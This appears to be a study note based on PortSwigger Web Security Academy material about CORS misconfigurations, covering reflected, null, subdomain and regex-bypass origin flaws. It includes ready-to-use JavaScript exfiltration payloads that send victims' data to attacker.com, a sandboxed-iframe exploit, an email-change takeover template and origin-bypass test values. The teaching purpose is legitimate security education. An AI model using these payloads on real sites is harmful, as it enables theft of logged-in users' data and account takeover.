Skip to content

CORS — Cross-Origin Resource Sharing

Source: PortSwigger Web Security Academy Author: Johan Beysen


1. What Is CORS?

CORS is a browser mechanism that determines whether a web page from origin A is allowed to make a request to origin B and read the response.

An origin consists of three components:

https://example.com:443
│       │           │
scheme  host        port

All three must match — otherwise origins are cross-origin.

CORS misconfigurations let attackers bypass the same-origin policy and read sensitive data from another origin on behalf of a logged-in user.


2. Same-Origin Policy (SOP)

The SOP is the browser protection that CORS relaxes when misconfigured.

Request type Cross-origin allowed?
Writing (links, redirects, forms) Yes
Reading (fetch/XHR response body) No — SOP blocks it
Embedding (img, script, iframe src) Yes

SOP protects reading, not sending

The browser just sends cross-origin requests — the server receives them. Only reading the response is blocked by SOP. CORS is a way to relax that reading restriction for certain origins.


3. CORS Headers

Response headers (server → browser)

Header Description
Access-Control-Allow-Origin Which origin(s) may read the response (* or a specific origin)
Access-Control-Allow-Credentials Whether cookies/auth headers may be sent along (true/false)
Access-Control-Allow-Methods HTTP methods allowed on preflight
Access-Control-Allow-Headers Request headers allowed on preflight
Access-Control-Max-Age How long the browser may cache the preflight result

Request headers (browser → server)

Header Description
Origin The origin of the page making the request

The crucial combination

A CORS vulnerability is only exploitable if both are present:

Access-Control-Allow-Origin: https://attacker.com   ← attacker's origin allowed
Access-Control-Allow-Credentials: true              ← cookies are sent along

ACAO: * with ACAC: true is technically invalid — browsers reject it. Exploitation requires a dynamically reflected specific origin.

Preflight Requests

For "non-simple" requests, the browser first sends an OPTIONS request:

OPTIONS /api/data HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: X-Custom-Header
Request type Preflight required?
GET / HEAD / POST (simple headers) No
PUT / DELETE / PATCH Yes
Custom headers Yes
Content-Type: application/json Yes

4. Detection

1. Send a request with: Origin: https://attacker.com
2. Look at the response headers:
   - Is the Origin reflected in ACAO?
   - Is ACAC: true present?

3. Try: Origin: null
4. Try: Origin: https://trusted-site.com.evil.com
5. Try: Origin: https://evil-trusted-site.com
6. Try: Origin: https://sub.trusted-site.com

Burp Suite

In Burp Repeater, manually add the Origin header to a request and observe the response headers. Burp Scanner automatically detects the most common CORS misconfigurations.


5. Vulnerability 1 — Reflected Origin

The server blindly reflects the Origin header back in Access-Control-Allow-Origin.

Request:
GET /api/userdata HTTP/1.1
Origin: https://attacker.com

Response:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

Exploitation

fetch('https://vulnerable.com/api/userdata', {
  credentials: 'include'
})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(d)))

Host this script on attacker.com, get the victim to visit the page → the response (including session cookies) is sent to the attacker.

Requirement

The victim must be logged in to the vulnerable site at the time of execution. The browser automatically sends the session cookies along via credentials: 'include'.


6. Vulnerability 2 — Null Origin

The server explicitly allows the null origin:

Request:
Origin: null

Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

When Does a Browser Send Origin: null?

  • Cross-origin redirect
  • Serialized data requests
  • A request via the file:// protocol
  • A sandboxed iframe — most useful for exploitation

Exploitation via a Sandboxed Iframe

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        srcdoc="<script>
  fetch('https://vulnerable.com/api/userdata', {credentials: 'include'})
  .then(r => r.text())
  .then(d => location='https://attacker.com/steal?data='+btoa(d))
</script>">
</iframe>

A sandboxed iframe always has Origin: null — causing the server to grant the attacker access.


7. Vulnerability 3 — Subdomain Trust

The server allows all subdomains of a trusted domain:

Request:
Origin: https://malicious.trusted-site.com

Response:
Access-Control-Allow-Origin: https://malicious.trusted-site.com
Access-Control-Allow-Credentials: true

Attack Vector: Subdomain + XSS

If an XSS vulnerability exists on a subdomain, you can combine it:

1. Find XSS on: https://sub.trusted-site.com
2. Inject via XSS:
fetch('https://trusted-site.com/api/userdata', {credentials: 'include'})
.then(r => r.text())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(d)))
3. The request comes from https://sub.trusted-site.com → CORS allows it
4. Sensitive data leaked

Impact

XSS on a subdomain + CORS subdomain trust = complete data exfiltration from the main site, even though it itself is XSS-free.


8. Vulnerability 4 — Regex Bypass

The server validates the origin via a flawed regex:

# Checks whether the origin starts with "trusted-site.com"
Bypass: trusted-site.com.evil.com
# Checks whether the origin ends with "trusted-site.com"
Bypass: evil-trusted-site.com
# Checks whether the origin contains "trusted-site"
Bypass: evil-trusted-site.com
         trusted-siteevil.com

Test Payloads for Regex Bypasses

Origin: https://trusted-site.com.attacker.com
Origin: https://attacker-trusted-site.com
Origin: https://trusted-site.com.evil.com
Origin: https://notreally-trusted-site.com

9. Cheat Sheet

Detection

Test Vulnerable if...
Origin: https://attacker.com ACAO reflects https://attacker.com + ACAC: true
Origin: null ACAO: null + ACAC: true
Origin: https://trusted.com.evil.com ACAO reflects the bypass origin
Origin: https://evil-trusted.com ACAO reflects the bypass origin
Origin: https://sub.trusted.com ACAO reflects the subdomain

Exploitation Template

// Basic exfiltration
fetch('https://TARGET.com/api/sensitive', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://ATTACKER.com/steal?d=' + btoa(JSON.stringify(d))))

// Via null origin (sandboxed iframe)
// <iframe sandbox="allow-scripts" srcdoc="<script>PAYLOAD</script>">

// Performing an action on behalf of the victim
fetch('https://TARGET.com/api/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
})

Headers Summary

Header Safe Vulnerable
ACAO A specific whitelist Dynamically reflected
ACAO Not present * with ACAC: true
ACAC false or absent true with a dynamic ACAO
Origin validation Exact string match Regex / prefix / suffix check